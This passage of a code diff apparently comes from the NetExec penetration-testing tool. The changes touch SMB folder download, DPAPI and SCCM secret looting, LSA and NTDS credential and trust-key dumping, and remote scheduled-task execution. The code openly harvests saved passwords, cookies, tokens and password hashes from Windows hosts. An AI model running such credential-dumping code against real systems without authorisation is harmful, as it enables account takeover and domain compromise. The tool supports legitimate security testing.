{silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}") + base_folder = os.path.basename(folder) + self.logger.debug(f"Base folder: {base_folder}") + + try: + items = self.conn.listPath(self.args.share, ntpath.join(folder, "*")) + except SessionError as e: + self.logger.error(f"Error listing folder '{folder}': {e}") + return + self.logger.debug(f"{len(items)} items in folder: {items}") + + filtered_items = [item for item in items if item.get_longname() not in [".", ".."]] + + # Create a safe local directory structure while retaining the raw remote path for SMB. + try: + relative_path = ntpath.relpath(folder, base_dir or folder) + except ValueError: + relative_path = folder + relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part] + local_folder_path = os.path.join(dest, *relative_parts) + destination_path = Path(dest).resolve() + resolved_folder = Path(local_folder_path).resolve() + if resolved_folder != destination_path and destination_path not in resolved_folder.parents: + self.logger.fail(f"Path traversal detected in '{folder}', skipping") + return + + if not filtered_items and ignore_empty: + self.logger.debug(f"Skipping empty folder '{folder}'") + return + + # create the directory for this folder + os.makedirs(local_folder_path, exist_ok=True) + if not filtered_items and not silent: + self.logger.display(f"Created empty directory '{local_folder_path}'") + + for item in filtered_items: + remote_item_name = item.get_longname() + item_name = sanitize_path_component(remote_item_name) + dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name)) + self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}") + + if item.is_directory() and recursive: + self.logger.debug(f"Found new directory to parse: {dir_path!r}") + self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty) + elif not item.is_directory(): + remote_file_path = ntpath.join(folder, remote_item_name) + local_file_path = os.path.join(local_folder_path, item_name) + # Defense-in-depth: verify path stays under destination + resolved = Path(local_file_path).resolve() + if destination_path not in resolved.parents: + self.logger.fail(f"Path traversal detected in '{item_name}', skipping") + continue + self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}") + + try: + self.get_file_single(remote_file_path, local_file_path, silent) + except FileNotFoundError: + self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)") + + def get_folder(self): + recursive = self.args.recursive + ignore_empty = self.args.ignore_empty_folders + self.logger.debug(f"Recursive option set to {recursive}") + self.logger.debug(f"Ignore empty folders option set to {ignore_empty}") + for folder, dest in self.args.get_folder: + self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty) + self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'") + def enable_remoteops(self, regsecret=False): try: if regsecret: @@ -2170,250 +2428,32 @@ def add_sam_hash(sam_hash, host_id): @requires_admin def sccm(self): - target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") - - def sccm_callback(secret): - if isinstance(secret, SCCMCred): - tag = "NAA Account" - self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - secret.username.decode("latin-1"), - secret.password.decode("latin-1"), - "N/A", - ) - elif isinstance(secret, SCCMSecret): - tag = "Task sequences secret" - self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - "N/A", - secret.secret.decode("latin-1"), - "N/A", - ) - elif isinstance(secret, SCCMCollection): - tag = "Collection Variable" - self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - secret.variable.decode("latin-1"), - secret.value.decode("latin-1"), - "N/A", - ) - try: - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) - sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) - except Exception as e: - self.logger.debug(f"Error while looting sccm: {e}") + self.dpapi_triage.triage_sccm() @requires_admin def dpapi(self): - dump_system = "nosystem" not in self.args.dpapi - - if self.args.pvk is not None: - try: - self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 - self.logger.success(f"Loading domain backupkey from {self.args.pvk}") - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None: - self.pvkbytes = get_domain_backup_key(self) + self.dpapi_triage.triage_dpapi() + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage target = Target.create( domain=self.domain, username=self.username, password=self.password, - target=self.remoteName, + address=self.remoteName, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, + kdcHost=self.kdcHost, + dc_ip=self.kdcHost, aesKey=self.aesKey, - no_pass=True, use_kcache=self.use_kcache, ) - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - - # Collect User and Machine Credentials Manager secrets - def credential_callback(credential): - tag = "CREDENTIAL" - line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - credential.winuser, - credential.username, - credential.password, - credential.target, - ) - - try: - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) - self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials_triage.triage_credentials() - if dump_system: - credentials_triage.triage_system_credentials() - except Exception as e: - self.logger.debug(f"Error while looting credentials: {e}") - - dump_cookies = "cookies" in self.args.dpapi - - cng_chromekey = None - try: - cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys) - for cng_file in cng_triage.triage_system_cng(): - if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": - self.logger.debug("Found CNG Google ChromeKey1\n") - cng_chromekey = cng_file.decrypted_private_key - except Exception as e: - self.logger.debug(f"Error while getting CNG ChromeKey1: {e}") - - # Collect Chrome Based Browser stored secrets - def browser_callback(secret): - if isinstance(secret, LoginData): - secret_url = secret.url + " -" if secret.url != "" else "-" - line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - secret.browser.upper(), - secret.winuser, - secret.username, - secret.password, - secret.url, - ) - elif isinstance(secret, GoogleRefreshToken): - line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - secret.browser.upper(), - secret.winuser, - secret.service, - secret.token, - "Google Refresh Token", - ) - elif isinstance(secret, Cookie): - line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - - try: - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) - browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey) - except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - - def vault_callback(secret): - tag = "IEX" - if secret.type == "Internet Explorer": - resource = secret.resource + " -" if secret.resource != "" else "-" - line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - secret.winuser, - secret.username, - secret.password, - secret.resource, - ) - - try: - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) - vaults_triage.triage_vaults() - except Exception as e: - self.logger.debug(f"Error while looting vaults: {e}") - - def firefox_callback(secret): - tag = "FIREFOX" - if isinstance(secret, FirefoxData): - url = secret.url + " -" if secret.url != "" else "-" - line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - secret.winuser, - secret.username, - secret.password, - secret.url, - ) - elif isinstance(secret, FirefoxCookie): - line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - - try: - # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) - firefox_triage.run(gather_cookies=dump_cookies) - except Exception as e: - self.logger.debug(f"Error while looting firefox: {e}") - - if self.output_file: - self.output_file.close() - with open(self.output_file_template.format(output_folder="dpapi")) as f: - if sum(1 for _ in f) == 0: - self.logger.fail("No dpapi loot retrieved") + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage @requires_admin def list_snapshots(self): @@ -2430,13 +2470,21 @@ def list_snapshots(self): self.logger.highlight(f"{drive:<8}{i:<26}") @requires_admin - def lsa(self): + def lsa(self, quiet=False): try: self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 - self.logger.highlight(secret) + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) @@ -2446,7 +2494,8 @@ def add_lsa_secret(secret): ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + if not quiet: + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 @@ -2466,13 +2515,15 @@ def add_lsa_secret(secret): isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") self.output_filename = self.output_file_template.format(output_folder="lsa") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + if not quiet: + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") try: self.remote_ops.finish() except Exception as e: @@ -2487,13 +2538,15 @@ def add_lsa_secret(secret): def ntds(self): self.enable_remoteops() + is_remote = True use_vss_method = False NTDSFileName = None host_id = self.db.get_hosts(filter_term=self.host)[0][0] printed_kerb_keys_banner = False + printed_trust_keys_banner = False def add_hash(secret_type, secret, host_id): - nonlocal printed_kerb_keys_banner + nonlocal printed_kerb_keys_banner, printed_trust_keys_banner if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: self.logger.display("Kerberos keys:") printed_kerb_keys_banner = True @@ -2504,13 +2557,15 @@ def add_hash(secret_type, secret, host_id): else: add_hash.nt_lm_secrets += 1 - # Log the secret based on args - if self.args.enabled: - if "Enabled" in secret: - secret = " ".join(secret.split(" ")[:-1]) - self.logger.highlight(secret) - else: - secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + is_enabled_account = secret.endswith(" (status=Enabled)") + is_trust_key = " (Incoming" in secret or " (Outgoing" in secret + for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"): + secret = secret.removesuffix(status) + + if not self.args.enabled or is_enabled_account or is_trust_key: + if is_trust_key and not printed_trust_keys_banner: + self.logger.display("Trust keys:") + printed_trust_keys_banner = True self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db @@ -2538,20 +2593,21 @@ def add_hash(secret_type, secret, host_id): add_hash.kerb_secrets = 0 add_hash.added_to_db = 0 - if self.remote_ops: - try: - if self.args.ntds == "vss": - NTDSFileName = self.remote_ops.saveNTDS() - use_vss_method = True - except Exception as e: - self.logger.fail(e) + if self.args.ntds == "vss": + use_vss_method = True + is_remote = False + output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname))) + os.makedirs(output_folder, exist_ok=True) + sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True) + localOps = LocalOperations(system_path) + self.bootkey = localOps.getBootKey() self.output_filename = self.output_file_template.format(output_folder="ntds") NTDS = NTDSHashes( NTDSFileName, self.bootkey, - isRemote=True, + isRemote=is_remote, history=self.args.history, noLMHash=True, remoteOps=self.remote_ops, @@ -2562,18 +2618,27 @@ def add_hash(secret_type, secret, host_id): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, + trustKeys=self.args.trust_keys, + justTrustKeys=self.args.just_trust_keys, + domainFQDN=self.targetDomain, perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), ) try: - self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + if self.args.just_trust_keys: + self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...") + else: + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" - self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") - if self.args.kerberos_keys: - self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") - self.logger.display("To extract only enabled accounts from the output file, run the following command: ") - self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + if self.args.just_trust_keys: + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys") + else: + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") + if self.args.kerberos_keys: + self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 7c539c467d..f015e8d20c 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -191,12 +191,31 @@ def execute_handler(self, command, fileless=False): dce.disconnect() return - try: - self.logger.debug("Attempting manual task execution...") - tsch.hSchRpcRun(dce, f"\\{self.task_name}", NULL) - self.logger.debug("Task run request sent successfully") - except Exception as e: - self.logger.debug(f"Manual execution failed: {e!s}, relying on registration trigger") + # Win2025+ (build 26100): RegistrationTrigger does not start the task over remote TSCH. + if self.__connection.server_os_build and int(self.__connection.server_os_build) >= 26100: + try: + tsch.hSchRpcRun(dce, f"\\{self.task_name}") + except tsch.DCERPCSessionError as e: + self.logger.debug(f"hSchRpcRun returned: {e}") + + done = False + while not done: + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}") + try: + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}") + except tsch.DCERPCSessionError as e: + if e.error_code == 0x00041303: + sleep(2) + continue + self.logger.fail(f"Error retrieving task last run info: {e}") + break + if resp["pLastRuntime"]["wYear"] != 0: + done = True + else: + sleep(2) + + self.logger.info(f"Deleting task \\{self.task_name}") + tsch.hSchRpcDelete(dce, f"\\{self.task_name}") if self.__retOutput: if fileless: diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 9e288d6b74..c3cb73db2d 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -3,7 +3,7 @@ import warnings from datetime import datetime -from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_ from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( SAWarning @@ -428,6 +428,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, @@ -465,18 +479,18 @@ def get_hosts(self, filter_term=None, domain=None): return [results] # if we're filtering by domain controllers elif filter_term == "dc": - q = q.filter(self.HostsTable.c.dc == True) # noqa: E712 + q = q.filter(self.HostsTable.c.dc == True) # ruff: ignore[true-false-comparison] if domain: q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) elif filter_term == "signing": # generally we want hosts that are vulnerable, so signing disabled - q = q.filter(self.HostsTable.c.signing == False) # noqa: E712 + q = q.filter(self.HostsTable.c.signing == False) # ruff: ignore[true-false-comparison] elif filter_term == "spooler": - q = q.filter(self.HostsTable.c.spooler == True) # noqa: E712 + q = q.filter(self.HostsTable.c.spooler == True) # ruff: ignore[true-false-comparison] elif filter_term == "zerologon": - q = q.filter(self.HostsTable.c.zerologon == True) # noqa: E712 + q = q.filter(self.HostsTable.c.zerologon == True) # ruff: ignore[true-false-comparison] elif filter_term == "petitpotam": - q = q.filter(self.HostsTable.c.petitpotam == True) # noqa: E712 + q = q.filter(self.HostsTable.c.petitpotam == True) # ruff: ignore[true-false-comparison] elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") @@ -723,13 +737,13 @@ def get_domain_backupkey(self, domain: str | None = None): def is_dpapi_secret_valid(self, dpapi_secret_id): """ - Check if this group ID is valid. + Check if this DPAPI secret ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None - nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py deleted file mode 100644 index 8de80c6197..0000000000 --- a/nxc/protocols/smb/dpapi.py +++ /dev/null @@ -1,100 +0,0 @@ -from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.backupkey import BackupkeyTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file - - -def get_domain_backup_key(context): - pvkbytes = None - try: - results = context.db.get_domain_backupkey(context.domain) - except Exception: - context.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - context.logger.success("Loading domain backupkey from nxcdb...") - pvkbytes = results[0][2] - elif context.no_da is None and context.args.local_auth is False: - try: - dc_target = Target.create( - domain=context.domain, - username=context.username, - password=context.password, - target=context.domain, # querying DNS server for domain will return DC - lmhash=context.lmhash, - nthash=context.nthash, - do_kerberos=context.kerberos, - aesKey=context.aesKey, - no_pass=True, - use_kcache=context.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - context.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - pvkbytes = backupkey.backupkey_v2 - context.db.add_domain_backupkey(context.domain, pvkbytes) - else: - context.no_da = False - except Exception as e: - context.logger.fail(f"Could not get domain backupkey: {e}") - return pvkbytes - - -def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): - masterkeys = [] - plaintexts = {} - nthashes = {} - if context.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(context.args.mkfile) - except Exception as e: - context.logger.fail(str(e)) - if user: - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - # dploot matches user.lower() - if context.password != "": - plaintexts[context.username.lower()] = context.password - if context.nthash != "": - nthashes[context.username.lower()] = context.nthash - - # Collect User and Machine masterkeys - try: - context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=dploot_connection, - pvkbytes=context.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - if user: - context.logger.debug("Collecting user masterkeys") - masterkeys += masterkeys_triage.triage_masterkeys() - if system: - context.logger.debug("Collecting machine masterkeys") - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - context.logger.debug(f"Could not get masterkeys: {e}") - - return masterkeys - - -def upgrade_to_dploot_connection(target, connection=None): - conn = None - try: - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - conn.connect() - except Exception: - return None - return conn diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 402e2f0e50..b655c8ee8e 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,4 +1,4 @@ -from argparse import _StoreTrueAction, _StoreAction +from argparse import BooleanOptionalAction, _StoreTrueAction from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action @@ -7,8 +7,8 @@ def proto_args(parser, parents): smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") - delegate_spn_arg = smb_parser.add_argument("--delegate-spn", action=get_conditional_action(_StoreAction), make_required=[], help="SPN to use for S4U2Proxy, if not specified the SPN used will be cifs/", type=str) - generate_st = smb_parser.add_argument("--generate-st", type=str, dest="generate_st", action=get_conditional_action(_StoreAction), make_required=[], help="Store the S4U Service Ticket in the specified file") + smb_parser.add_argument("--spn", action="store", help="SPN to use for the Service Ticket. With --delegate it's the SPN used for S4U2Proxy (defaults to cifs/).", type=str) + smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self") @@ -22,13 +22,11 @@ def proto_args(parser, parents): smb_parser.add_argument("--smbv1", action="store_true", default=False, help="[DEFAULT OFF] Enable SMBv1 negotiation (only if explicitly needed)") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) - smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") + smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator") smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket") self_delegate_arg.make_required = [delegate_arg] - generate_st.make_required = [delegate_arg] - delegate_spn_arg.make_required = [delegate_arg] u2u_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") @@ -43,8 +41,12 @@ def proto_args(parser, parents): kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") + trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)") + just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)") + trust_keys_arg.make_required = [ntds_arg] + just_trust_keys_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") - cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") + cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems") cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") @@ -92,6 +94,9 @@ def proto_args(parser, parents): files_group = smb_parser.add_argument_group("File Operations") files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing") + files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder") + files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading") files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution") diff --git a/nxc/protocols/smb/smbspider.py b/nxc/protocols/smb/smbspider.py index 24009355f1..d39972966e 100755 --- a/nxc/protocols/smb/smbspider.py +++ b/nxc/protocols/smb/smbspider.py @@ -100,7 +100,7 @@ def _spider(self, subfolder, depth): for result in filelist: # this can potentially be refactored if result.is_directory() and result.get_longname() not in [".", ".."]: - if subfolder == "*": # noqa: SIM114 + if subfolder == "*": # ruff: ignore[if-with-same-arms] self._spider( subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, @@ -214,8 +214,9 @@ def search_content(self, path, result): rfile.close() return - except SessionError: - pass + except SessionError as e: + if "STATUS_SHARING_VIOLATION" in str(e): + self.logger.debug(f"Sharing violation while reading file: {path}{result.get_longname()}") except Exception: traceback.print_exc() diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 57d0f7148c..c53d00aeff 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -14,6 +14,8 @@ SSHException, ) +from nxc.protocols.ssh.keyfiles import is_key_type_rejected + class ssh(connection): def __init__(self, args, db, host): @@ -85,13 +87,13 @@ def plaintext_login(self, username, password, private_key=""): try: if self.args.key_file or private_key: self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + # Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error. + pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key self.conn.connect( self.host, port=self.port, username=username, - passphrase=password if password != 